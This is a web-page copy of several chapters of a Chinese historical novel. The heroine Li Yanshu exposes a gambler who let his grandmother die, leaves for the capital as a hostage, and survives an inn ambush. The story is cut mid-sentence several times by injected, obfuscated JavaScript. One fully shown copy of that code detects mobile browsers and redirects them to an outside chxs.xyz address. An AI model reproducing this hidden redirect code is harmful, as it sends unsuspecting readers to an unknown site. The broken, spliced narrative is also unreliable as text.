话毕,两个衙役上前,手脚并用将刘宝缚之缧绁,压制在地。李砚书没有分一个眼神给刘宝,而是看向公堂之上的陈邱。 只见陈邱惊堂木一拍,厉声道:“来人,带胡千。” 很快,五大三粗,一脸络腮胡子的壮汉上来,跪地道:“草民胡千,拜见县令大人。” “胡千,你可识得此人。”陈邱指向刘宝。 胡千看了刘宝一眼,拱手道:“回大人,草民认识,此人名叫刘宝,以前是赌场的常客。三年前因为还不上赌债,便将他家的房子抵给了赌场。” 陈邱问:“那他之后可还曾去过?” 胡千答:“回大人,从那之后就没再来了。但在半月前他突然过来,之后便每天都来。” “大人。”李砚书拱手道,遂问胡千:“那他是赢了还是输了?” “输了。” “输了多少?” “五十两银子。” 此话一出,全场哗然。 五十两银子对南坊的人来说是一笔连想都不敢想的巨款,对普通百姓家而言也是好几年的伙食银子,可这刘宝竟不到半月就挥霍一空。很快,逐渐有人反应过来,刘宝他们家不是早就破产了吗?怎么还会有这么多银子? “试问,刘宝既有五十两银子去赌场,为何没有银子去给刘老太太买药?再者说,为何是黄苓未曾去买药就断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄苓抹了一把脸上的眼泪,对刘宝说:“我说不,爹不会怪我,祖母也不会怪我。你抢走家里最后的五十两银子去赌,将我打晕锁在家中,整整三日,祖母病死家中整整三日才被发现。你还找人牙子来,准备将我卖掉,好让你有钱继续去赌。” “你怎么对我,打我,我都认了。可祖母是你亲祖母,你怎么能,怎么能……”黄苓捂着剧烈起伏的胸口,泪水再次滚落,她跌跌撞撞来到刘宝面前,指着他一字一句道:“畜生,你就是个畜生,你不配为人!” “我不配为人?” 刘宝怒极反笑,狠声道:“我不配为人,那你又是什么好东西!你在公堂上指认你的丈夫,想要将你的丈夫置于死地,你又是什么好女人。我若是死了,从今以后我看还有谁会要你,你妇德有亏,你这样的女人,就应该去浸猪笼,沉塘!” “你,你!” 论耍嘴皮子,黄苓怎会是常年浸泡赌场的刘宝的对手。 正当黄苓不知所措时,李砚书从身后扶住她,不屑道:“你算个什么东西,也就只敢在这里无能狂吠。大好男儿,四肢健全,一不考取功名,报效朝廷;二不陪侍床前,奉养长辈;三不安分守己,规行矩步;四不养家糊口,善待妻小。如此不忠不孝,不仁不义之人,还有何颜面苟活于世?也不怕污了你刘家祖辈清誉,气得已故的刘屠夫棺材板都压不住,要爬出来打死你这个不孝子孙。” “啊!我杀了你!啊……” 刘宝气得几乎呕血,他叫嚣着要起来,嘴里发出嘶嘶的怒吼声。 李砚书冷眼一笑,上前一步单手扶住黄苓,直接一脚将刘宝踹翻。 被绳索束缚住的刘宝被这一脚踹倒在地,脸朝地,趴在地上不停哀嚎。 “杀我,凭你?” 李砚书微仰着头,斜下的眼神像是在看路边的草芥。因此她也就没有注意到,被她护在怀里同样没有正眼看刘宝的黄苓。 这时李四进来,拱手道:“小姐,牙婆子带到。” “嗯。” 李砚书一个眼神递去,李四立刻转身对陈邱道:“大人,人证牙婆子已在堂下。” 陈邱道:“将人带上来。” 牙婆子一上来就将刘宝的所作所为交代的一干二净。刘宝眼见事情再无转圜余地,也不嚎了,连滚带爬地冲向黄苓,嘴里开始慌张大喊,道:“娘子!娘子!你救救我,救救我!我不想死,我不想死啊!我知道错了,我不该去赌,我发誓我以后再也不赌了!你救救我,你就说祖母是你害死的。黄苓!你说呀!” 陈邱摇摇头,厉声道:“刘宝,谋害其祖母,虐待其妻子,罔顾伦理纲常,藐视我朝律令。来呀,将此人押入大牢,秋后问斩!” 判讫,衙役将其押赴大牢。 5. 洛霓 刘宝被押走后围观人群也很快散开。 陈邱没有多说什么,起身离开。 众人拜别。 李砚书吩咐李四将胡千、牙婆子等人带下去,对尚跪在地的黄苓伸出手。 黄苓犹豫了一下,指尖在空中颤抖了几下,慢慢的,拉上了那只一直对她伸出的手。 这是一双很温暖的手。没有刘宝的宽大粗糙,也没有祖母的沉重僵硬,但黄苓觉得她整个人都被这双手举了起来,从此她的双脚不会再踏进泥泞冰冷的河流里忍饥受冻,她的眼前也不再是拨不开的雾霾终日担惊受怕。以至于多年后,她无数次漂泊在骇浪惊涛的海面上生死一线时,总会想起这一天,这一双手。 李砚书几人前脚刚进王府,洛霓后脚就到了。 洛霓是洛太守的幺女,她上头有好几个哥哥,却只有她这一个妹妹,故虽不是洛夫人亲出,全家人也是当宝贝一样宠着。 “好你个李砚书,今日这般大的事你竟然不叫我!” 洛霓年方二八,与李砚书同岁。两人总角之交至今,一起上树摘果,下河摸鱼,还时不时路见不平拔刀相助一番,故人们戏言——渭阳双花。 可惜好景不长,三年前洛霓突染恶疾,洛太守遍寻名医为其医治,但终究还是落下了病根。整个人以肉眼可见的速度瘦下去,从前比起李砚书还要丰腴几分,现在瘦得像是一阵风就能将她吹倒。 李砚书连忙将人迎进屋,道:“你怎么来了?我还说晚些时候去找你。” 骨衣端上热茶,行礼退到一侧。 洛霓抿了口热茶,“听闻你去了县衙,忍不住来听听是怎么一回事。” 李砚书将这两日的事从头到尾与她说了一遍。说到济世堂费郎中时,洛霓不解道:“你是如何知晓刘老太太是因为断药故去,而不是……” “我也不知道,猜测罢了。”李砚书放下茶杯,“你想啊,黄苓身上的伤既然不会是刘老太太打的,那就只能是刘宝,而刘宝是个赌徒,我让人去问了赌场的管事,他说刘宝几天就输了五十两银子。你想想,一个变卖祖宅搬到南坊去住的人,身上怎么可能还有五十两银子呢?” 闻言,洛霓略一思衬:“于是你就想,这五十两银子或许是黄苓和刘老太太藏起来的。毕竟平日里刘老太太一直在吃药,刘宝没有正经差事,整日游手好闲,那么这一家子的花销从何而来?” 刘家虽然没落,但是刘屠夫在时可是渭阳城数一数二的屠宰大户,俗话说瘦死的骆驼比马大,到底祖上富过,家底总还是有些的。 “其实现在仔细想想,那位刘老太太也是个人物。”李砚书叹道,“她知道刘宝好赌成性,若继续下去迟早家破人亡,于是釜底抽薪不惜变卖祖宅,装作破产破落移居南坊。刘老太太将剩下的五十两银子交给孙媳黄苓保管,维持一家基本开销。可能她也想借机逼刘宝一把,望他日浪子回头,自新己路。唉,岂不闻从善如登,从恶如崩。那刘宝不仅没有从巨大的落差中振作回头,反而在得知了银子的事后,变本加厉将她们锁于家中,拿走所有的钱去赌。” 洛霓也叹息地摇头,忽然想到什么,“阿书,听说你把那位黄苓姑娘带回王府了?” “嗯,就是要让他们知道,黄苓从今以后就是王府的人,欺负她之前先想想自己能否承受得了王府的怒火。”说到这里李砚书转头对骨衣道:“对了,跟黄苓说一声,明日带她去城固楼吃酒。” “是。” 骨衣一走,洛霓等不急地问:“你要带她去城固楼?” 城固楼乃是渭阳第一楼。总五层楼高,一二楼客杂五方音,三楼清歌伴琼浆,四楼斗酒诗百篇,五楼嘛,很少对外开放,神秘得很。 要说城固楼为何这般出名,那就不得不提楼里特有的“城固酒”。城固酒以其清亮透明,绵甜甘洌,醇厚自然闻名关内外,素有“城固一壶酒,天下三分香”的美名。因此受不少文人骚客,江湖中人青睐,渐渐地,就传出“来渭阳,不去一回城固楼就等于白来。”之说。 李砚书笑道:“不只她。等会我与你一同回去,与洛姨说清楚,明日我们一道去。” 换作平日,洛霓会很开心。她难得出来一趟,还是去城固楼那种热闹的地方。自从她病了以后,爹娘就不许她出府,管得极严。也只有在李砚书来寻她时,才可以出去小走一会儿。 洛霓心思细腻,一眼就瞧出来不对劲,遂道:“你有事瞒我。” 李砚书喝茶的动作一滞,“你,你怎么看出来的?” 这么说就是有了,洛霓沉声道:“快说,别叫我着急。” “也没什么大事,我阿爹跟哥哥凯旋,陛下一开心,就诏我进京受赏。”李砚书避重就轻道,“阿霓,你知道的,我早就想离开渭阳,去外面瞧瞧了。” 因这病的缘故,洛霓这几年在家中憋闷,便去自家藏书楼里看书解闷。那些从前她觉得枯燥乏味的,一知半解的,现都叫她日夜琢磨,有了与当初完全不一样的理解。她之前听阿娘说,王爷跟阿寅哥哥不出几日就能回来,可这转眼间就被陛下直诏去了京城,现下就连李砚书也被诏去,虽算不上生离死别,可她也知这一去,下次再见就不知是何年何月了。 百姓跪迎的事,不管李阿鼎属于有心还是无心,都是授人以柄。在这里面做文章,可大可小。小至条律法度,大至聚党谋逆,有心人只要稍加修辞,便是一项罪名。当然,最重要的还是看武明帝怎么想。所以这次李砚书进京,便是帝王起了疑心。 “原是如此……”洛霓顿了顿,指尖触上温热的茶盏,“你明日带黄苓姑娘去城固楼,也是因为此事吧。你放心,既是你救下的人,我必不能坐视不理。” 李砚书覆住洛霓的手指,“阿霓,元安乃藏龙卧虎之地,此去我定为你寻一位名医回来,你等我。” 洛霓笑了笑:“好。” 一场大雨过后,元安的圣旨到了。 楚惟礼数周全安排好来人,沉默良久后,看向笔直跪在地上的李砚书。 李砚书是个喜爱言笑的人,多大的事只要在她心里过一遍就不会在面上显现出来。楚惟最怕就也是她这一点,其他姑娘家在外面受了委屈欺负,回到家嘴一撇眼一红,谁瞧了都要心疼。而李砚书不一样,她会若无其事地回来,苦练武功,待能打过了,就去找上次那人报仇雪恨。 楚惟点了点李砚书,压低声音,神色凝重地问道:“毋玄跟你说的?” 这事其实不难猜,李砚书本事再大,也不能预测元安那边的事,那就只有前几日刚从外面回来的毋玄。 李砚书心知瞒不过去,便道:“娘,女儿愿往。” “住口!”楚惟低呵道,“你可知那是什么地方,多少人去了连骨头都剩不下。你平日里有主意,瞒着我,我都可以睁只眼闭只眼,可今日这么大的事你也敢瞒我!” “娘,阿爹受封之后可以回来,那哥哥呢?”李砚书抬头望向楚惟,恳切道,“哥哥文经武纬,鸿鹄之志,女儿若是不去,被圈在元安的就是哥哥。” 李砚书叩首,道:“女儿不忍,恳请母亲准许。” 这一年李砚书十六,觉得只要自己替父亲和哥哥留质元安,就能让帝王心安,不再猜忌渭阳王府,就能保下所有人。 楚惟指着李砚书来回踱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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半月后,常山县一个名叫徐伯安的人横空出世,带着几十号手无寸铁之人从贪官手下杀出,攻下县衙,大开粮仓救济百姓。此举为其赢下民心,很快越来越多的人自发跟随他打下信安,龙丘两县,两县贪官污吏皆被徐伯安斩于刀下,他说:“天地不仁以万物为刍狗,贪官不仁以百姓为刍狗,今日,我徐伯安就斩贪官,救百姓!” 当时的衢州,上至刺史,下到县令,各级官吏官官相护,对朝廷那边只推了几个微末小卒出来稀罪,同时派重兵围剿徐伯安。 他们本以为这事已经是万无一失,却不想三个月后,刘伯安还固守信安,寸土未失。衢州刺史赵知礼见状大急,长此以往朝廷那边就瞒不住了。于是他想出一个办法——堵塞河道,借东风,火烧信安。并放话只要徐伯安出城投降,便不再投放火箭,保城中剩下百姓无虞。 果不其然,到第三日徐伯安就孤身出城投降。 赵知礼将其押解回元安,转头就吩咐人将城中几千人全部屠杀。途中,马匪劫道,混乱中徐伯安被路过的上骑都尉杨骥救下,杨骥了解始末后,一路护送徐伯安至天子脚下。 徐伯安将这几个月衢州发生的事悉数告上,武明帝震怒,下令彻查。最后衢州刺史赵知礼一干人等全部革职查办,衢州百姓才得以从水深火热之中解脱。 衢州暴乱虽已解决,可徐伯安这件事还是时常萦绕在武明帝心头,使其不安。区区几百人就连攻三县,最后更是以千人之数固守信安三月有余,这要是换做几十万军队铁蹄呢?所向披靡的异姓王,战无不胜的兵马大元帅,历朝历代没有任何一任帝王可以完全放心。以致今时今日,才需李砚书入京为质,牵制住李氏父子。 因为武明帝比任何人都清楚,常年征战的铁骑,骨子里的血早已沸腾,他们就如噬血的猛兽般只服随他们出生入死的大将军。届时只需大将军振臂一呼,他们便如过江之鲫,搅海翻江。 彼时,龙游浅滩,皇帝是谁,又有谁在乎呢? 6. 谒舍 翌日李砚书拜别楚惟,随传旨队伍启程前往元安。 从车队启程那日算起,一连下了三日大雨。 风雨送行,让离别更添愁绪。 这日好容易放晴,车队行进速度都要比前两日快上一些。因着前一天刚下过一场大雨,官道泥泞。李砚书在马车内时不时能听见车轮和马蹄碾过水洼的声音,轻一声重一声,听得人直犯困。 李砚书想出去骑马,刚撩开车帘,外头就下起了小雨。 不一会儿的功夫,小雨成了大雨。虽是官道,可冒雨夜行终是不妥。打马领头的从六品昭武校尉窦庑策马来到车窗边,道:“李小姐,前面一里有处谒舍,委屈小姐将就一晚。” 官驿离这还有十多公里,如今天色渐晚,雨势也没有见小的趋势,安全起见,窦庑还是决定先安宿一晚,明日一早再启程。 李砚书靠近车窗,道:“好,劳烦窦校尉。” 窦庑长相粗狂,办事却利落,不消半刻钟就将车队井然有序地安顿下来。 素影端了盆热水上来,打湿脸帕,见李砚书还在看那本心法,劝道:“小姐,车马劳顿一日了,抓紧歇息吧,明日还要赶路呢。” 李砚书放下书,接过帕子,擦拭好道:“你先去休息吧,今夜有骨衣在。” “是。” 待素影离开,李砚书又看了一会儿心法,希望可以在书里寻到解决内息紊乱的方法。 半年来,她早已将心法烂熟于心,修习也顺利,从未遇到阻碍瓶颈,谁知修习完竟然出事了。离开渭阳那天她就隐隐感觉到内息不稳,不过她没当回事儿,以为是离家所致。直到昨夜里惊醒,她才后知后觉到,自己的内息已经乱成一锅粥了! 李砚书又将心法看了一遍,还是没有从中寻到解决办法,不免觉得烦躁。心想一直这样下去也不是个事,还是得修书一封告知师傅。 想罢,李砚书提笔蘸墨,写好唤骨衣进来,“着人快马送回渭阳。” 骨衣领命退下。 李砚书嫌屋里闷得慌,便来到长廊透气。 本以为连日大雨,打尖住店的人应该没多少,不想,她从二楼往下一看——座无虚席,热闹得很。 李砚书饶有兴致地扫了一圈,正准备回去时,余光里却看见了一位灰布长袍的书生,坐在角落里,低头看着书。 书生独自坐在那里,与周围吃肉喝酒的汉子们格格不入。倒不是说书生有多么的与众不同,而是跟其他人桌上的酒肉菜肴相比,书生桌上只有一个吃了大半的冷硬烧饼。眨眼的功夫,李砚书就见那书生几口吃完烧饼,复又伸手摸去桌上,点了几下,摸了个空。书生垂空的指节僵了一瞬,甫若无其事地收回手,继续看书。 李砚书收回目光,转身进了屋。她倒了杯冷茶喝,坐在桌边等骨衣回来。 不多时骨衣送信回来,见李砚书在等自己,连忙问道:“小姐?” “你进来时瞧见外面那些人了吗?”李砚书问道。 骨衣迟疑点头,她没发现有什么不对劲的地方。 李砚书笑道:“你觉得在这么一个小谒舍来这么多人,会是巧合么?” 话落,骨衣下意识握上腰间的刀柄。 “别急。”李砚书阻止道,“你先去将素影叫来,她胆子小。” 等骨衣去叫人的功夫,李砚书熄了两根蜡烛,屋子里顿时暗了一半,从外面瞧着像是里面的人已经吹灯睡下了。 再次经过大堂,尽管那些人的视线很隐秘,骨衣还是敏锐地察觉到一些。她佯装无事经过,径直去了素影房间,轻声叫醒素影,带人上楼。 素影一见到李砚书脸上的表情便绷不住了,着急道:“小姐,我这就去找校尉大人,让他派人来保护小姐。” “稍安勿躁。” 李砚书叫住素影。 骨衣在一旁冷静道:“你觉得小姐都能看出来的事,那位昭武校尉会瞧不出来吗?” 与他国不同的是,本朝凡八品以上武官校尉,骑尉皆只能通过战功晋升,都是实打实从前线浴血奋战回来的,要是窦庑连这么明显的埋伏都看不出来,那才真是可怕了。 李砚书看了骨衣一眼,又看向素影,“骨衣说得对,现下对方是敌是友尚未分明,贸然把人叫来,岂不是自投罗网。” 况且窦庑身为本次车队的负责人,又是六品昭武校尉,实在没由头害她。 可窦庑又恰恰选中了这家谒舍,如果不是提前知晓她们的行程,又怎会未雨绸缪埋伏在这儿。 李砚书此去元安,明眼人都知道是怎么回事。薄物细故,往往都在腥风血雨之前显现。她若是在去元安的路上出事,李氏父子与朝廷必生嫌隙,波谲云诡,到那时又是一场腥风血雨。 素影不懂这里面的弯弯绕绕,她只知道听自家小姐的话。小姐叫她不要急,她便冷静下来。 外面还是不知何时安静了下来。 骨衣往门口方向走了两步,一只手握紧刀柄,严阵以待。 李砚书拉住一脸紧绷挡在她身前素影的手,安抚地拍拍。小丫头还是经事少,这一幅如临大敌的模样,让人瞧着莫名想发笑。 似是察觉到什么,素影恼怒地瞪了一眼李砚书,而后又一脸严肃地盯着门口。这一眼像极了大人在做极严肃的正事时看向不懂事捣乱的小孩时的眼神。 就在这时,外面响起噼里啪啦的打斗声。 约莫半柱香后,动静渐渐小了。 一阵脚步声在门口停下,接着窦庑的声音响起:“李小姐,贼人已全部拿下。” 李砚书看向骨衣,道:“骨衣,开门。” 骨衣收回放在刀上的手,“是。” 门一开,窦庑一看人都在里面,霎时对这位传闻中专横跋扈的渭阳小霸王有了改观。能一眼看出下面那些人不对劲,并且这么沉得住气的王府大小姐,绝不是人们口中说的那般任性妄为。 李砚书客气道:“劳烦窦校尉相护。” 窦庑拱手道:“不敢,护送小姐平安进京乃在下职责所在。” “只是今夜那些人都是死士,我的人本想活捉,却都……”窦庑说到这就没再往下说,但李砚书她们都听懂了。死士嘛,肯定不会被他们活着捉住。 李砚书道:“无妨,此行危险,我早已知晓。今日有劳窦校尉,日后还请费心,护我等平安。” 窦庑再次拱手,“自然。小姐安心,我等先行告退。” 李砚书颔首,等窦庑离开后,对素影道:“今夜晚了,就别下去了。” “是。”素影巴不得留下,旋即转身去整理床榻。 闹剧结束,夜也深了。李砚书走了两步,又想起什么,提步出了门。她来到走廊一看,窦庑的人还在清理现场,大堂桌椅横立一塌糊涂,不难猜出这里方才发生了什么。 李砚书找了一圈没找到自己要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521302|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找的人,便想下楼去看看。突然,她余光里瞅见一道灰色身影,只见那道灰色身影蹑手蹑脚地移到一张侧翻的桌子边,左右看看,趁没人注意,一把捡起掉落在地被啃了一半的烧鸡揣在怀里,随后埋头走开了。 骨衣见李砚书一直盯着那书生打扮的人,便问道:“小姐,那人可有问题?” 李砚书摇了摇头,“没有。” 骨衣忽然又问:“小姐,那窦校尉是敌是友?” 闻言,李砚书有些诧异,道:“为何这么问?我以为经过刚才的事,你和素影已经相信他非敌是友了。” 骨衣不假思索道:“因为小姐不信。” 李砚书没说话,示意她继续说。 “若小姐信任便不会叫素影留下。”骨衣道,“先前叫素影上来,是因为下面危险未知,小姐怕伤着素影。但现在既然危险已除,小姐却不叫素影下去休息。” 李砚书转身回房,笑道:“骨衣真厉害,小姐心里想什么你都知道了。不错,我不信他。贼人的事我不信他事先不知情,至于他为什么临门一脚却没下手,反而杀了那些人,我猜有两点。” “一为试探。前几日他见到你的第一眼,他的眼神就在你的刀剑上停留了几分。那时我就想,他不信王府大小姐出行会只带两个丫头,他觉得王府必定还留有后手,所以他定会出手试探一番。”李砚书道,“二为恐吓。他觉得我这样一个娇生惯养的王府大小姐,在经历这件事后会吓得屁滚尿流,连夜跑回渭阳找阿娘。如此,都不用他们再做什么,阿爹跟哥哥就会在元安陷入被动,任人攻讦。” 说到这,李砚书沉默地倒了杯茶。 朝堂上的明争暗斗尔虞我诈从来都不局限于阆苑琼楼之上,天子朝臣既以这天下为己任,算计的自然也是这天下人。 —— 李眭放下茶盏,看着在房里来回踱步的李阿鼎,劝道:“阿爹,小妹进京已成定局,您还是坐下吧。” “这都多少日了,小妹到哪了也没个消息传来,真是急人!”说到这,李阿鼎一拳头猛地砸在桌上。正值不惑之年的李阿鼎阔额高鼻,身材魁梧,眉宇间因常年征战的缘故不怒自威,让人望而生畏。 正与李阿鼎说话的是他的长子李眭,表字阿寅。 李眭手疾眼快地抓起茶盏,无奈道:“一月了。白日里刚传回信笺,说小妹已经到雍州了。约莫着再有两、三日就能到元安。” “我不知道吗!我不知道吗!”李阿鼎又一拳砸下,“我这不是担心吗?小妹自小就没出过渭阳,这次独自一人千里迢迢到元安,一路上定是颠沛流离,受尽委屈。我这一想到,我这心就痛啊!” “……” 李眭再次抓起茶盏,挑了挑眉,显然对李阿鼎的话不太认同。 从小到大,李眭就没见过自家小妹被谁欺负,这丫头打小就聪明,过目不忘,学东西又快。就拿习武这件事,同一个师傅,李眭还比李砚书大两岁,可李砚书天赋异禀,仅到十三岁那年就能与李眭打个平手,不分上下。 “你那什么表情?”李阿鼎横眉道。 李眭没敢接这话。 他总不能说,您不用担心小妹,你该担心的应该是别人吧。呵,这话他可不敢说,他要是说了,以李阿鼎的脾气能直接给他打出元安。 一如他不明白,为什么让他有时都会头疼不已的妹妹,在自家阿爹眼中会是一个弱不禁风的小可怜。 7. 黄苓 雍州富平县。 官道上,骨衣打马追上李砚书,将手中柿饼递上,“小姐,前面是富平县。” “富平县。”李砚书单手拉住缰绳,咬了口柿饼,“富庶太平,好名字。” 正说着,一直在最前方的窦庑勒马过来,问道:“李小姐,今日天色尚早,是继续赶路,还是在富平县驻留一晚?” 自谒舍那夜遇袭后,一路上只要是有关歇脚的问题,他都会来问过李砚书的意思。这一月就这样,两眼一睁就是赶路。只是再没住过小谒舍,都是住的官驿。 李砚书觉得好笑。 因为一般这种奉旨进京的队伍住店歇脚都是听宣旨人的意思,到她这却反了过来,反倒是堂堂校尉大人听她一个无任何官职加身的小女子的意思。 此地距离元安不过两三日车程,且下个官驿距此地也有些距离,想到这,李砚书道:“素闻富平县自古即有‘关中名邑’的美誉,难得今日亲身得见,若就这样离开不免遗憾。不如就暂留一夜,明日一早再赶路,窦校尉,你看可好?” 窦庑拱手道:“小姐客气,当凭小姐做主。” 真是滴水不漏,连附和一句都不肯,这是铁了心要撇清关系。只是雍州离元安不过四十里,他们还想要动手吗?李砚书轻笑一声,策马前行。 那就放马过来吧。 富平县县如其名,宽大的街道向东西两侧延伸,街道旁各类卖小商贩应接不暇,四衢八街接袂成帷,其繁华程度远非渭阳边陲之地可比。在渭阳城生活了十六年的李砚书还是第一次在街上见到这么多人,不由道:“这富平县人还挺多。” 一位路过的人听见,偏头古怪地看了她一眼。那人应当是想说些什么的,但在看清李砚书的穿着打扮后,选择了沉默走开。 李砚书低头看了看自己,再看看街上其他人,明白过来。她的衣料都是上等绸布,且花纹样式复杂,一看就不是普通人家能穿得起的。所以那人才会缄口走开,不愿惹祸上身。 素影追上来,见李砚书立在原地不知在看些什么,好奇道:“小姐在看什么?” 李砚书轻声应道:“看人。” 素影闻言也朝街上的人看去,看了看,不解道:“这些人,有何不同吗?” “没有。”李砚书笑了笑,“都是一样的。” 她只是想到了黄苓。 离别前夜,黄苓找到她,郑重其事地对她行了一个大礼。 李砚书连忙将人扶起,沉默了好一会儿后才道:“你……” 接着李砚书就见黄苓笑了一下。那是李砚书第一次见这个苦命的姑娘露出笑容,很淡,却莫名好看,神奇般地抚平了李砚书那颗莫名躁动的心。 黄苓道:“打我记事起,就是刘家的童养媳。每日除了做活剥棉籽,就是照顾病重的祖母。那五十两其实是祖母留给刘宝日后读取功名所需,即便后来家中破落,祖母需每日喝药,家中无米下锅时,我也从未动过那五十两的念头。每日靠织布,针线绣活为生,勉强度日,直到刘宝发现那五十两银子……他赌完回来,发现祖母死了,便将祖母之死推到我身上,以此为由,将我卖给牙婆子。” “我……我那日跳河,本想了结此生,幸得小姐搭救,还我清白。小姐再造之恩,黄苓永世不忘。”黄苓再次跪下,“黄苓自知身薄,恐此生都无法报答小姐大恩,故求小姐,容黄苓拜谢。” 李砚书闻言不再推拒,正经受了她一拜。 起伏间,李砚书想起前几日她们一起去城固楼时的情景。 按理说像黄苓这种从未去过的人或多或少都会露出怯意,可黄苓没有。她很安静地跟在自己和洛霓身后,与素影站在一处,像是经常跟着她们一起来的样子,从容不迫,行事自然。若不是发现她在暗暗掐自己的手指,怕是就连自己都要被她哄了过去。 李砚书将人扶起,问道:“你……有何打算。” 黄苓道:“听说苏州盛产丝绸,绣娘千千万万,黄苓身无长物,唯有针线聊以为生。” 虽猜到黄苓此番是来辞行,但听是江南,李砚书还是惊道:“苏州?会不会太远,日后……” “苏州虽远,却是黄苓心向之地。”黄苓认真看着她道:“小姐,黄苓前半生为他人而活,活够了。今后,想为自己活一场,去一个没人认识的地方,重新开始。” 李砚书也是在这一刻才意识到,黄苓或许没有她想象中的那般怯弱。她就像她们此时身后泥泞池塘里的荷花,被磋磨的那十几年的岁月,或许不是黄苓今后人生道路上的枷锁与不堪,而是她此后绽放时自给自足的养分与土壤,会让她更加娉婷婀娜,明媚芬芳。 李砚书点头:“好。” 黄苓蓦然低头,红了眼。 她想起那日在城固楼时,洛霓小姐对李砚书吟的诗:“海内存知己,天涯若比邻。” 刘屠夫在世时,也曾让她去念了两年学堂,虽之后没再去过,但因刘宝好赌,时常不在家,是以她一有空闲便会去拿刘宝的书来看。直到六年前刘屠夫突然离世,她就再没看过书。 黄苓自知身份卑微,算不上李小姐的“知己”,可她亦会一生铭记,但有所用,在所不惜。 —— 官驿里,李砚书梳洗打扮了一番,就带着素影跟骨衣出门,直奔西市。 至于为什么是去西市,而不是去最热闹的东市。这一切,就要从一个时辰前说起了。 那会儿她刚进驿馆,想着时间有限,于是特地问了一位看着年长一些的驿卒,这里最大、最热闹的酒楼在哪里。老驿卒一听,立刻拱手道:“那自然是位于西市马安街的食易楼!” 李砚书饶有兴致地“哦”了一声,只听老驿卒继续道:“因总共有十一层之高,故又叫十一楼。” 十一楼? 元安最高的承佛寺也才十七楼之高,这倒是快比上了。 觑李砚书颇感兴趣的样子,老驿卒说得愈发起兴,道:“这食易楼六年前乃我县第一富户赵员外耗尽家财所建,可惜楼刚竣工,他家唯一的儿子就身染怪病。那段时间赵院外把县里所有的郎中大夫都请了去,可惜无一人能治。于是赵员外就贴布告重金求医,承诺治好就给五块金饼!刚开始上门治病的人很多,但都无功而返,渐渐地,也就没什么人再去了。听说后面是增加到了十块金饼,虽偶有人去,但还是没人能治好赵家小郎。因那赵家小郎每日都要价格高昂的珍稀药材续命,半年后,赵员外就将食易楼卖给了郑员外,拿着钱举家去登州寻医了。” 李砚书听的认真,心里不免为赵员外感慨世事无常。听到最后一句时,不解问道:“登州寻医?” 素影也不禁问道:“为何要去那么远的地方?” 早在驿卒说到赵家小郎身染怪病时周围几个路过的年轻驿卒就围了过来,都支着耳朵认真听着。闻言虽不解,也不敢问出声,只眼巴巴地看着年长的老大哥。 老驿卒清清嗓子,道:“据说是有一日,一位云游到此的老道士听闻此事,便去赵府看病。也不知那个老道士用了什么方法,当天晚上那赵家小郎就醒了!且赵员外也是一个信守承偌的人,当即就给了那老道士十块金饼!” 说着,老驿卒还伸出两根食指,比划出一个十字。那表情仿佛金饼就在他眼前似的,兴奋地眼珠都有些凸出。 李砚书看了素影一眼,顺着问:“这么多?之后呢?” 素影立即领会,从桌上倒了杯冷茶递给驿卒。 许是见李砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老驿卒咂咂嘴,他自是不知那位空山道人的,听李砚书这么一说,不由感慨,不愧是王府大小姐,知道的就是比别人多。便拱手恭维道:“李小姐真是与众不同,见多识广!” 李砚书笑笑,又问:“那您可知那位老道士之后去了哪里?” 老驿卒摇了摇头,道:“这小人就不知道了,听人说那老道士当天夜里就离开了富平县,继续云游去了。哈哈小姐也知道,云游的人四海为家,行踪不定,都是可遇不可求的大师,他们的行踪,哪是我们这种小老百姓能知道的。” 李砚书笑道:“了然。” 老驿卒此言不虚,从无人可治的怪病,到老道士在那么短的时间内将人治醒就可见一斑,那老道士应当就是空山道人之徒。至于为什么连夜离开,其实也不难猜,仙道者骖风驷霞,清雅高洁,无非就是事了拂衣去,不留功与名罢了。 李砚书点头致谢,带素影和骨衣进了内院。 等她收拾完再出来,想问问老驿卒西市怎么走,不想人已经散值回家了。廊下还在当值的年轻驿卒猜她们应是要去食易楼,便主动上前问道:“小姐可是要去西市?” 素影回道:“正是,劳烦小哥指个路。” 驿卒拱手道:“姑娘客气。往这条路一直走就是了。食易楼就在西市中间,特别打眼,隔老远就能瞧见。” 一炷香后,当她们三人站在楼前仰头观望时,才真切明白了“特别打眼”是什么意思。 在西市其他普遍一两层的房屋衬托下,十一层楼高的食易楼鹤立鸡群般独领风骚,那叫一个“打眼”。 “不对啊,小姐。” 骨衣突然道:“不是说十一楼吗?这怎么只有十楼?” 听骨衣这么一说,李砚书和素影齐齐抬头数了一遍,不多不少,还真是十楼。 李砚书奇怪道:“还真是十楼。不是说有十一楼么?” 正说着,身后传来一个声音,带着浓浓的蔑意。 “啧,哪来的乡巴佬,连这个都不知道。” 8. 赌局 闻言,骨衣脸色瞬间一变,当即拔刀架到那人脖子上,蓄势待发。 李砚书也看向那人,锦衣华服,细眉长眼,腰间系着一圈玉佩香囊,一看就是个富贵人家的浪荡小少爷。 